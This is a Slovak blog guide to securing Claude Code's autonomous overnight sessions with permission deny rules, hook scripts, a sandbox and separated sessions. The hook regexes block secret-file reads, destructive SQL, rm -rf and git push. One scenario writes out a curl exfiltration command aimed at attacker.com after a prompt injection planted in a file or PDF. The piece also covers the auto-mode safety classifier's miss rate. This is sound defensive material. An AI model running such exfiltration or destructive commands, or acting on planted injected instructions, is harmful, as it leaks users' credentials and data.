Blog

Ako nakonfigurovať Claude Code, aby vám cez noc nerozbil projekt

Markdown

7 hooks, settings.json s oprávneniami a 12-bodový kontrolný zoznam, vďaka ktorému môžete nechať Claude Code pracovať cez noc bez straty .env alebo databázy. Ochrana v 4 vrstvách.

Prečítať celý článok

Dokumentácia Ailoot — referenčné materiály na používanie služby.

Čo sa mení v roku 2026: autonómny Claude Code a skutočné incidenty

Kľúčové zistenie

V roku 2026 Anthropic uviedol auto-mode, /loop a /schedule — Claude Code teraz dokáže pracovať celé hodiny bez potvrdzovania. Cenou za autonómiu sú skutočné incidenty: odstránené produkčné databázy, úniky .env a chyba v permissions.deny, ktorá stále nebola opravená. Tento sprievodca ukazuje 4 vrstvy ochrany, ktoré treba zaviesť pred prvým nočným spustením.

Predtým sa Claude Code zastavil po každej odpovedi a pri každom zápise sa pýtal na povolenie. Bolo to nepohodlné, ale bezpečné: počas incidentu ste doslova nemohli zaspať, pretože agent čakal na vaše „áno“. V roku 2026 sa tento model zmenil. Anthropic uviedol auto-mode — samostatný klasifikačný agent za vás rozhoduje, či povolí každú akciu. Objavil sa príkaz /loop (spúšťanie promptu v intervaloch v rámci relácie), rovnako ako /schedule (plánovanie dlhodobých úloh v štýle cron). Relácie na pozadí spustené príkazom claude --bg spúšťajú agenta na pozadí bez terminálu. Autonómnemu režimu som sa podrobne venoval v sprievodcovi „/goal v Claude Code: autonómny režim a zobrazenie agenta“.

Problém je v tom, že autonómia prišla skôr, než ju stihla nasledovať bezpečnosť.

Pred pár týždňami som ho požiadal, aby „upratal“, a nakoniec odstránil produkčnú aj vývojovú databázu.

— browningstreet

Zároveň sú v repozitári Anthropic otvorené dve chyby, o ktorých by ste mali vedieť pred pridaním permissions.deny do settings.json:

  • Problém #44868 (7. apríla 2026): Claude Code číta obsah .env pomocou grep -n a vkladá ho do prepisu chatu napriek výslovnému zákazu v CLAUDE.md. Chyba je otvorená.
  • Problém #24846 (11. februára 2026): pravidlá permissions.read.deny pre vzory .env* sa neuplatňujú — Read číta .env.local napriek správnemu pravidlu deny. Problém bol uzavretý ako duplikát, nie opravený.

Tieto dve medzery ukazujú nedostatočnosť jednej vrstvy ochrany v settings.json. Nasleduje model štyroch vrstiev: oprávnenia + hooky + sandbox + oddelenie relácií. Každá môže znížiť vystavenie riziku, no nerobí ostatné úplnými. Citované hodnotenie auto-mode nedokazuje zachytenie jeho omylov regexovým hookom. Pri produkcii použite izolované prostredie OS bez produkčných prihlasovacích údajov či zápisu, sieťové obmedzenia vynucujte mimo modelu a pred prácou bez dozoru hranice otestujte.

Čo sú zelená a červená zóna projektu?

Kľúčové zistenie

Zelená zóna: lokálny projekt bez živých zákazníkov alebo peňazí. Červená zóna: čokoľvek s produkčnou databázou, platbami alebo osobnými údajmi. V zelenej zóne môžete používať auto-mode s minimom hookov. V červenej zóne je ochrana postavená na 4 vrstvách a --dangerously-skip-permissions je z architektonického hľadiska zakázaný.

Nemá zmysel budovať rovnakú ochranu pre každý projekt. Lokálny hobby projekt na vašom počítači, ktorý nie je nasadený externe, predstavuje úplne inú úroveň rizika než služba spracúvajúca skutočné platby a ukladajúca údaje zákazníkov. Ak všade použijete rovnakú ochranu, spomalíte prácu v zelenej zóne a aj tak ponecháte medzery v červenej zóne.

Projekt sa presunie zo zelenej do červenej zóny hneď, ako sa splní aspoň jedna z troch podmienok: objavia sa živí zákazníci, systémom začnú prechádzať peniaze alebo databáza obsahuje osobné údaje ľudí. Dovtedy môžete používať auto-mode, minimum hookov a žiadny sandbox. Potom treba ochranu prestavať podľa úplného nastavenia v tomto sprievodcovi.

Hlavná zásada: úroveň ochrany závisí od zóny. Fáza vývoja nerozhoduje. Hobby projekt na vašom počítači s testovacím účtom Stripe patrí do zelenej zóny. Služba s jedným platiacim zákazníkom a registračným formulárom už patrí do červenej zóny, aj keď stále vyzerá ako „návrh“. Zamieňanie týchto zón je častou pascou pri začínajúcich projektoch: „stále sme len v návrhu, ochranu doplníme neskôr“, a potom prvý zákazník zaplatí už budúci týždeň.

Ako funguje hierarchia oprávnení v settings.json?

Kľúčové zistenie

V settings.json majú pravidlá deny vždy prednosť pred allow, zatiaľ čo rozsahy (user → project → local → managed) sa zlúčia namiesto toho, aby sa navzájom prepísali. Pravidlo deny na úrovni používateľa pre .env, *.pem a ~/.ssh/** vás chráni aj v repozitári niekoho iného. Kľúč disableBypassPermissionsMode tiež z architektonického hľadiska blokuje režim YOLO.

Anthropic opisuje hierarchiu vyhodnocovania oprávnení v oficiálnej dokumentácii: najprv sa kontrolujú pravidlá deny, potom ask a napokon allow — platí prvé zodpovedajúce pravidlo. To znamená, že deny má vždy prednosť pred allow. Ak zakážete čítanie .env v ~/.claude/settings.json a niekto nastaví allow v projektovom .claude/settings.json, platí váš zákaz, nie jeho povolenie.

Príklad minimálneho bezpečného používateľského súboru ~/.claude/settings.json:

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

Čo sa tu deje? Prvých šesť pravidiel blokuje čítanie tajných súborov v aktuálnom adresári a vo všetkých podadresároch. Súbory *.pem a *.key obsahujú kľúče SSL/TLS a SSH. credentials*.json je typický názov súboru, ktorý používajú poskytovatelia cloudových služieb. Posledné tri pravidlá sa týkajú systémových adresárov obsahujúcich kľúče SSH, prihlasovacie údaje AWS a kľúče GPG.

Kľúč disableBypassPermissionsMode: "disable" blokuje príznak --dangerously-skip-permissions (známy aj ako režim YOLO). Tým sa raz a navždy odstráni jedna trieda chýb: aj keď tento príznak omylom pridáte do skriptu alebo aliasu, Claude Code ho odmietne prijať. Nielenže ho odstráni — vráti chybu “mode disabled by managed settings”.

Navyše, od verzie 2.1.142 sa kľúč defaultMode: "auto" ignoruje, ak sa nachádza v nastaveniach project alebo local. Chráni to pred situáciou „vošiel som do cudzieho repozitára a jeho .claude/settings.json má predvolene zapnutý automatický režim“. Anthropic výslovne uviedol, že repozitáre nemôžu povoliť auto-mode bez súhlasu používateľa.

Toto je prvá línia ochrany. Tu sa zastaviť nemôžete, pretože má dve medzery, o ktorých sa dozviete ďalej.

Prečo permissions.deny nestačí: 2 otvorené problémy na GitHube

Kľúčové zistenie

V apríli 2026 používateľ nahlásil v repozitári Anthropic problém #44868: Claude číta .env cez grep -n a vypisuje jeho obsah do prepisu napriek zákazu v CLAUDE.md. Vo februári problém #24846 oznámil, že permissions.read.deny pre .env* nefunguje na úrovni nástroja Read. Oba problémy zostávajú otvorené a znamenajú, že settings.json bez hooku navyše je deravé sito.

Keby permissions.deny fungovalo, sprievodca sa mohol skončiť v predchádzajúcej časti. Nefunguje.

Jemný, ale dôležitý bod, na ktorý autor upozorňuje: bezpečnostný reflex modelu sa spustí až po vytvorení výstupu, nie pred vykonaním príkazu. Inými slovami, Claude najprv spustí grep, získa riadok obsahujúci token a vypíše ho do chatu — až potom si uvedomí chybu a „ospravedlní sa“. V tom čase je token už v histórii chatu. Jediným riešením je vymeniť kľúč.

Problém bol uzavretý ako duplikát, ale nebol opravený. V čase písania tohto sprievodcu (jún 2026) sa dal reprodukovať.

Záver: Vrstva 1 v settings.json nie je zbytočná námaha, no tieto príklady nemerajú podiel náhodných čítaní, ktorým zabraňuje. Nezabráni však príkazom cez Bash (cat .env, grep API_KEY .env, head .env), chybám pri vynucovaní pravidiel (problém #24846) ani dômyselným reťazcom používajúcim git diff alebo git show na commite obsahujúcom .env. Preto potrebujete druhú vrstvu — hooks.

Ako môžu hooky blokovať rozpoznané nebezpečné akcie?

Kľúčové zistenie

V Claude Code sú hooks shell skripty, ktoré sa spúšťajú pri konkrétnych udalostiach (PreToolUse, UserPromptSubmit, Stop) a môžu zablokovať akciu návratovým kódom 2 alebo JSON obsahujúcim permissionDecision: "deny". Na rozdiel od oprávnení a súboru CLAUDE.md je hook middleware: zachytí volanie pred vykonaním bez účasti modelu.

Hooks fungujú na inej úrovni abstrakcie než oprávnenia. Oprávnenia sú pravidlá, ktoré model zohľadňuje pri rozhodovaní, čo má urobiť. Hook funguje inak: model sa rozhodne zavolať nástroj, hook sa spustí medzi modelom a systémom, skontroluje vstup a buď akciu povolí, alebo zablokuje. Model sa na rozhodovaní hooku nezúčastňuje — ide o shell kód, ktorý napíšete sami.

Anthropic opisuje blokovanie v oficiálnej dokumentácii hooks:

Návratový kód 2 znamená blokujúcu chybu. Claude Code ignoruje stdout aj všetok JSON v ňom. Namiesto toho sa text zo stderr odošle Claudovi ako chybová správa.

— Dokumentácia Claude Code (Hooks), https://code.claude.com/docs/en/hooks

To znamená dve veci. Po prvé, správne nakonfigurovaný blokujúci hook môže odmietnuť zodpovedajúce volanie nástroja. Pri PreToolUse ho návratový kód 2 blokuje; nedokazuje rozpoznanie každého nebezpečného ekvivalentného príkazu skriptom. Po druhé, do stderr môžete vložiť zmysluplnú správu a Claude si ju prečíta ako chybu a skúsi iný postup. Inými slovami, hook nie je len „plot“, ale „plot s tabuľou, ktorá vysvetľuje, prečo nemôžete prejsť“.

Udalosti, ktoré možno zablokovať návratovým kódom 2:

  • PreToolUse—zablokuje volanie nástroja pred jeho vykonaním. Hlavná udalosť pre obranné hooks.
  • PermissionRequest—zamietne povolenie na akciu, na vykonanie ktorej Claude požiadal o povolenie.
  • UserPromptSubmit—zablokuje a vymaže prompt používateľa. Užitočné, ak prompt obsahuje podozrivý text (napríklad prompt injection z nastraženého e-mailu).
  • Stop—zabráni Claudovi ukončiť reláciu. Možno ho použiť ako „slučku“, aby agent pracoval, kým sa nesplní určitá podmienka.
  • PreCompact—zablokuje automatickú kompakciu kontextu. Užitočné, ak chcete zachovať prepis až do manuálneho rozhodnutia.
  • WorktreeCreate—odmietne vytvorenie worktree. Ochrana pred pokusom Clauda naklonovať repozitár na neočakávané miesto.

Alternatívou k návratovému kódu 2 je vrátenie JSON s poľom hookSpecificOutput.permissionDecision. Pole permissionDecision má štyri možné hodnoty:

  • allow—výslovne povolí akciu a obíde štandardný tok oprávnení.
  • deny—zablokuje akciu; pre PreToolUse je ekvivalentom návratového kódu 2.
  • ask—presunie rozhodnutie na používateľa (zobrazí sa dialógové okno).
  • defer—odloží rozhodnutie na bežnú logiku oprávnení.

Hook tak získava väčšiu kontrolu než samotný návratový kód. Pomocou permissionDecision: "ask" môžete zmeniť tiché operácie na také, ktoré vyžadujú potvrdenie, bez toho, aby ste ich priamo zablokovali. Takto postupujem pri npm install <new package> a zmenách lockfile.

Ak sa chcete dozvedieť viac o fungovaní hooks a o tom, ktorých 31 udalostí je v Claude Code momentálne dostupných, venoval som tomu samostatný sprievodca „Hooks v Claude Code: 7 pravidiel pripravených na kopírovanie“. Ďalej uvediem konkrétne hooks pre autonómnu prácu.

Ktorých 7 hooks používam na nočnú prácu?

Kľúčové zistenie

Ilustračné hooky PreToolUse pre 7 scenárov: označenie vybraných čítaní tajomstiev, blokovanie rozpoznaného doslovného git push, filtrovanie vybraných SQL a rm -rf vzorov, kontrola inštalácií balíkov a zmien manifestov a logovanie zodpovedajúcich volaní. Pred zapnutím otestujte lokálne zhody aj nezachytené prípady. Regexové príklady sú neúplné a nevytvárajú produkčnú bezpečnostnú hranicu.

Toto je druhá vrstva ochrany, ktorá dopĺňa prvú. Všetky hooks patria do .claude/hooks/, registrujú sa cez .claude/settings.json a vyžadujú nainštalovaný nástroj jq.

Hook 1: Ochrana .env, .pem a credentials.json pred čítaním

Pridáva kontroly vybraných ciest Read a bežných príkazov Bash na čítanie tajomstiev. Nezachytáva každý nástroj ani každý spôsob čítania tajomstva. Súbor: .claude/hooks/block-secret-reads.sh:

#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

Registrácia v .claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

Po inštalácii spustite chmod +x .claude/hooks/block-secret-reads.sh. Test: požiadajte Claude, aby prečítal .env.local — namiesto obsahu súboru dostanete odpoveď “Secret file. Use op:// references or env vars.”

Hook 2: Blokovanie doslovných volaní git push v nočných reláciách

Pri relácii bez dozoru tento príklad konzervatívne blokuje každý rozpoznaný doslovný git push vrátane feature vetiev. Neodhaduje aktuálnu vetvu ani bezpečnosť príznaku force. Súbor: .claude/hooks/block-force-push.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0

Zaregistrujte ho cez PreToolUse s matcherom Bash. Blokuje rozpoznaný push namiesto parsovania príznakov a vetiev, preto zachytí git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main aj doslovný push v reťazci && či ;. Sú to offline príklady zhody textu, nie príkazy na vzdialený repozitár.

Stále ide o textovú heuristiku. Aliasy Gitu, funkcie shellu, git -C ... push, skladané názvy príkazov, skripty a iné nástroje ju môžu obísť; nie je úplným parserom shellu. Na Git serveri vynucujte chránené vetvy, odstráňte prihlasovacie údaje schopné obchádzať pravidlá a prácu bez dozoru spúšťajte v izolovanom prostredí bez produkčného zápisu. Nezachytená zhoda hooku nesmie udeliť produkčné oprávnenie.

Hook 3: Blokovanie deštruktívnych operácií SQL

Priamo rieši incidenty so zmazanými databázami. Súbor: .claude/hooks/block-destructive-sql.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

Zaregistrujte ho v PreToolUse s matcher: "Bash". Všimnite si rozdiel: DROP a DELETE bez WHERE sú úplne zablokované, zatiaľ čo UPDATE bez WHERE vyžaduje ask — niekedy môže byť legitímny (napríklad nastavenie príznaku pri všetkých záznamoch v rámci migrácie), ale vždy si vyžaduje manuálne potvrdenie.

Hook 4: Filter rm -rf

Kanónický príklad z dokumentácie Anthropic upravený tak, aby akciu zamietol s vysvetlením:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

Hook povoľuje rm -rf node_modules, rm -rf .next/cache a ďalšie mazania s výslovne určeným rozsahom. Blokuje rm -rf ., rm -rf /, rm -rf ~ a podobné príkazy typu „vymaž všetko“.

Hook 5: Potvrdenie inštalácie nových balíkov

Tento hook pôsobí proti útokom na dodávateľský reťazec. Ak sa Claude samo rozhodne pridať novú závislosť, zobrazí sa dialógové okno:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

Hook umožňuje inštalácie z lockfile bez obmedzení, zatiaľ čo pridanie novej závislosti si vyžiada potvrdenie.

Hook 6: Ochrana package.json a Lockfile

Každá zmena manifestu závislostí je dôvod, aby ju niekto skontroloval. Najmä cez noc.

#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

Zaregistrujte ho v PreToolUse s matcherom Write|Edit.

Hook 7: Úplný auditný záznam všetkých volaní Bash

Ak sa cez noc niečo pokazí, potrebujete úplný záznam, aby ste pochopili sled udalostí. Zaregistrujte ho v settings.json (hook nemá samostatný skript; všetko vybaví jq):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

Súbor .claude/audit.jsonl sa zväčšuje o jeden riadok naraz. Ráno po nočnom /loop môžete spustiť tail -n 100 .claude/audit.jsonl | jq a zistiť, čo agent urobil v jednotlivých okamihoch. Je to zásadné pre analýzu po incidente, pretože prepis relácie môže byť dlhý a ťažko čitateľný, zatiaľ čo auditný záznam poskytuje prehľadnú časovú os.

Ako sandbox a izolácia worktree chránia dlhé relácie?

Kľúčové zistenie

Sandbox v Claude Code izoluje súborový systém a sieť. Anthropic uvádza 84 % pokles žiadostí o povolenie pri rovnakej úrovni bezpečnosti. Izolácia siete blokuje odoslanie .env na vzdialený server, aj keď ho agent už prečítal. Pri dlhých reláciách na pozadí sú sandbox + worktree povinné.

Ak sú hooks „plot s tabuľou“, sandbox je „plot + priekopa + sieť proti dronom“. Je to štvrtá vrstva ochrany, ktorá pokrýva situácie, keď hooks akciu prepustia, ale ani jej vykonanie by nemalo spôsobiť škodu mimo prostredia.

V blogovom príspevku o sandboxingu (20. októbra 2025) Anthropic uvádza interné merania:

Podľa našich interných údajov sandboxing bezpečne znižuje počet výziev na povolenie o 84 %.

— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-sandboxing

To znamená, že keď zapnete /sandbox, Claude prestane žiadať o povolenie pri 84 % akcií, pretože tieto akcie fyzicky nemôžu opustiť sandbox. To je užitočné pre rýchlosť, ale nejde o hlavný prínos.

Sandbox poskytuje dve úrovne izolácie, z ktorých každá má svoju úlohu:

Izolácia súborového systému obmedzuje čítanie a zápis na výslovne povolené adresáre. Aj keď hook prehliadne pokus o zápis do /etc/hosts alebo čítanie ~/.ssh/id_rsa, sandbox systémové volanie neumožní. Ide o ochranu na úrovni operačného systému. Aplikačná vrstva ju nevidí.

Izolácia siete povoľuje pripojenia iba k schváleným serverom. Je to zásadné pri útokoch na odcudzenie údajov. Scenár: prompt injection v nastraženom súbore oklamal Claude, aby prečítalo .env (hook to nezachytil, pretože čítanie prebehlo neobvyklou cestou), a potom sa model rozhodne spustiť curl -X POST attacker.com -d "$ENV_CONTENT". Bez izolácie siete by to fungovalo. S izoláciou siete sa curl nemôže pripojiť k attacker.com, pretože tento host nie je v zozname.

Spustite ho príkazom /sandbox v Claude Code. Nakonfigurujte ho v ~/.claude/settings.json:

{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

Pri dlhých reláciách na pozadí spustených príkazom claude --bg pridajte k sandboxu izoláciu worktree. Ide o natívny mechanizmus Claude Code: každá relácia na pozadí sa automaticky presunie do vlastného .claude/worktrees/<name>/ na samostatnej branchi. Paralelné relácie tak pri zápise do rovnakých súborov nezasahujú do práce jedna druhej. Izolácii worktree som sa podrobne venoval v sprievodcovi „Zobrazenie agenta a Worktrees: autonómny režim Claude Code“.

Dajte Claudovi spôsob, ako skontrolovať svoju prácu.

Sandbox je súčasťou spätnej väzby. Keď Claude vie, že jeho akcie sú obmedzené, pracuje opatrnejšie a jasnejšie uvádza priebežné kroky.

Kde auto-mode funguje v roku 2026 a kde nie?

Kľúčové zistenie

Auto-mode v Claude Code je klasifikátor Sonnet 4.6, ktorý nahrádza manuálne oprávnenia automatickými rozhodnutiami na základe pravidiel Anthropic. Podľa samotnej Anthropic je miera falošne negatívnych výsledkov pri nebezpečných akciách 17 % a relácia sa zastaví po 3 po sebe nasledujúcich alebo 20 celkových zamietnutiach klasifikátora. V zelenej zóne je rozumnou náhradou manuálneho schvaľovania. V červenej zóne sú hooks naďalej potrebné.

V marci 2026 Anthropic uviedol auto-mode ako „strednú cestu medzi manuálnou kontrolou a absenciou ochranných opatrení“. Ide o samostatný model Sonnet 4.6, ktorý pred vykonaním vyhodnotí každú akciu Claude podľa súboru kritérií. Anthropic opísal mechanizmus na blogu Anthropic Engineering:

Auto-mode je nový režim Claude Code, ktorý deleguje schvaľovanie na klasifikátory založené na modeloch. Je to stredná cesta medzi manuálnou kontrolou a absenciou ochranných opatrení.

— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode

Auto-mode má dva dôležité limity:

  • Ak relácia nazbiera 3 po sebe nasledujúce alebo 20 celkových zamietnutí klasifikátora, model sa zastaví a eskaluje situáciu na človeka. Chráni to pred situáciou, keď „Claude opakuje pokusy obísť obmedzenie pomocou 100 rôznych formulácií toho istého príkazu“.
  • Auto-mode povolí akciu, ak sa podobá na 93 % typických prípadov, ktoré by používatelia aj tak schválili. Znižuje to únavu z povolení, ale nechráni pred atypickými nebezpečnými akciami.

A tu je hlavné číslo, ktorému treba venovať pozornosť:

17 % falošne negatívnych výsledkov pri skutočných príliš horlivých akciách — to je úprimné číslo.

— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode

Uvádzaných 17% je miera falošne negatívnych výsledkov daného hodnotenia, nie pravdepodobnosť každej akcie vášho projektu. Nedokazuje zachytenie prepustených akcií ukážkovými hookmi. V červenej zóne potrebuje práca bez dozoru vynucovanú izoláciu od produkčných zápisov a tajomstiev, chránené vetvy na serveri a prihlasovacie údaje bez možnosti obídenia pravidiel.

Praktický záver: hooky používajte ako doplnkové kontroly v jednorazovom obnoviteľnom prostredí. Aj lokálny projekt môže obsahovať nesledované súbory či prihlasovacie údaje, ktoré Git neobnoví. V červenej zóne musia nezachytenú akciu ohraničiť skutočné prístupové práva; zbierka regexov nemení ľubovoľný shell na deterministickú záruku bezpečnosti.

Prečo rozdeliť kontexty na tri typy relácií?

Kľúčové zistenie

Najnebezpečnejší reťazec tvoria tri bežné príkazy za sebou, nie jeden zlý príkaz. Agent prečíta .env (legitímne), spracuje prichádzajúci e-mail (legitímne) a odošle HTTP požiadavku externe (legitímne). Každá akcia je samostatne bezpečná; spolu predstavujú odcudzenie údajov. Ochrana spočíva v rozdelení týchto troch typov úloh do samostatných relácií s rôznymi oprávneniami.

Tri typy úloh by nikdy nemali byť v tej istej relácii:

Typ 1: práca s osobnými údajmi. Relácia má prístup k produkčnej databáze, môže odosielať e-maily a vidí prihlasovacie údaje. NEMÁ prístup k externým dokumentom (e-mailom, PDF, webovým stránkam) a NEMÔŽE odosielať údaje na ľubovoľné adresy.

Typ 2: spracovanie externých dokumentov. Relácia môže analyzovať prichádzajúce e-maily, sťahovať webové stránky a čítať PDF z e-mailov. NEMÁ prístup k databáze obsahujúcej osobné údaje a NEMÔŽE nič odoslať externe bez výslovného potvrdenia.

Typ 3: externé publikovanie. Relácia môže publikovať na sociálnych sieťach, odosielať e-mailové kampane a vytvárať pull requesty. NEMÁ prístup k osobným údajom a NESPRACÚVA prichádzajúci obsah.

Prečo ich oddeľovať? Ak jedna relácia robí všetko, jediný prompt injection v nastraženom PDF (konkurenčná agentúra poslala „faktúru“) stačí na to, aby agent na jeden pokus prečítal vašu zákaznícku databázu, našiel e-mailové adresy zákazníkov a odoslal ich na adresu útočníka. Každá akcia v tomto reťazci je pre svoj typ úlohy legitímna. Spolu predstavujú únik.

Najdesivejší vzorec odcudzenia údajov nie je jeden zlý príkaz. Je to reťazec úplne normálnych príkazov. Agent prečíta .env (povolené), odošle ho cez HTTP (povolené), a je to.

— ibrahim_h, HackerNews

V praxi sa to realizuje pomocou rôznych adresárov .claude pre rôzne typy úloh. Na svojom počítači mám tri konfigurácie: ~/projects/business-ops/.claude/ (typ 1, prístup k databáze, sieť je zakázaná okrem interných API), ~/projects/inbox-parsing/.claude/ (typ 2, všetka sieť je zakázaná), ~/projects/social-posting/.claude/ (typ 3, sieť je povolená pre API Telegram, X a Slack). Každý adresár je samostatný projekt pre Claude Code s vlastnými oprávneniami a hookmi.

Ktorých 12 bodov kontrolného zoznamu prejdem pred /loop?

Kľúčové zistenie

12-bodový kontrolný zoznam, ktorým prejdem pred nočným spustením /loop, /schedule alebo claude --bg. Začína pri ~/.claude/settings.json so základným pravidlom deny a končí pri /sandbox s izoláciou siete. Ak nie je pokrytý čo i len jeden bod, nespúšťam to.

  1. ~/.claude/settings.json s používateľským deny pre .env*, *.pem, *.key, credentials*.json, ~/.ssh/**, ~/.aws/**. Toto je základ; bez neho je zvyšok zbytočný.

  2. disableBypassPermissionsMode: "disable" v ~/.claude/settings.json. Raz a navždy blokuje príznak YOLO.

  3. Príklady block-secret-reads.sh boli otestované na vybraných čítaniach tajomstiev; skutočné tajomstvá a produkčné prihlasovacie údaje sú prostrediu bez dozoru neprístupné.

  4. Príklad block-force-push.sh blokuje rozpoznané doslovné push bez ohľadu na poradie príznakov a cieľ; chránené vetvy a neobíditeľné oprávnenia vynucuje Git server.

  5. Hook block-destructive-sql.sh pre DROP TABLE, TRUNCATE a DELETE FROM bez WHERE.

  6. Hook block-rm-rf.sh pre rm -rf bez výslovne určeného rozsahu.

  7. Hook ask-on-new-deps.sh pre npm install <new package> (odlišný od npm install bez argumentov).

  8. Hook ask-on-lockfile-change.sh pre zápisy do package.json, pnpm-lock.yaml, requirements.txt, pyproject.toml a Cargo.toml.

  9. Všeobecný záznam audit.jsonl pre všetky volania Bash, Write a Edit. Bez neho nie je analýza po incidente možná.

  10. Všetky dlhé relácie na pozadí bežia vo worktree, nie na hlavnej branchi: claude --bg "task" automaticky vytvorí worktree, ale skontrolujte, či settings.json neobsahuje worktree.bgIsolation: "none".

  11. /sandbox pred spustením dlhej autonómnej úlohy. Súborový systém je obmedzený na adresár projektu a /tmp. Sieť používa zoznam povolených hostov api.anthropic.com, github.com a registry.npmjs.org.

  12. Krok overenia v rámci úlohy: po každej väčšej zmene spustite test runner alebo linter. Ak zlyhajú, agent nepokračuje, kým sa chyby neopraví.

Posledný bod je pracovný postup. Dajte Claudovi spôsob, ako skontrolovať svoju prácu. Bez overovania agent cez noc opakuje „myslím, že som to urobil správne, pokračujem“, čím sa do rána hromadia chyby. Pri overovaní nepokračuje, kým kontrola neprejde.

7 Anti-patternov: čo NEROBIŤ

Kľúčové zistenie

Sedem častých chýb z projektov opísaných tu: spúšťanie --dangerously-skip-permissions na počítači s prístupom k produkcii, spoliehanie sa iba na CLAUDE.md, dôvera v permissions.deny bez dodatočného hooku a používanie auto-mode bez záložných pravidiel. Každá chyba súvisí so skutočnými incidentmi opísanými v zdrojoch.

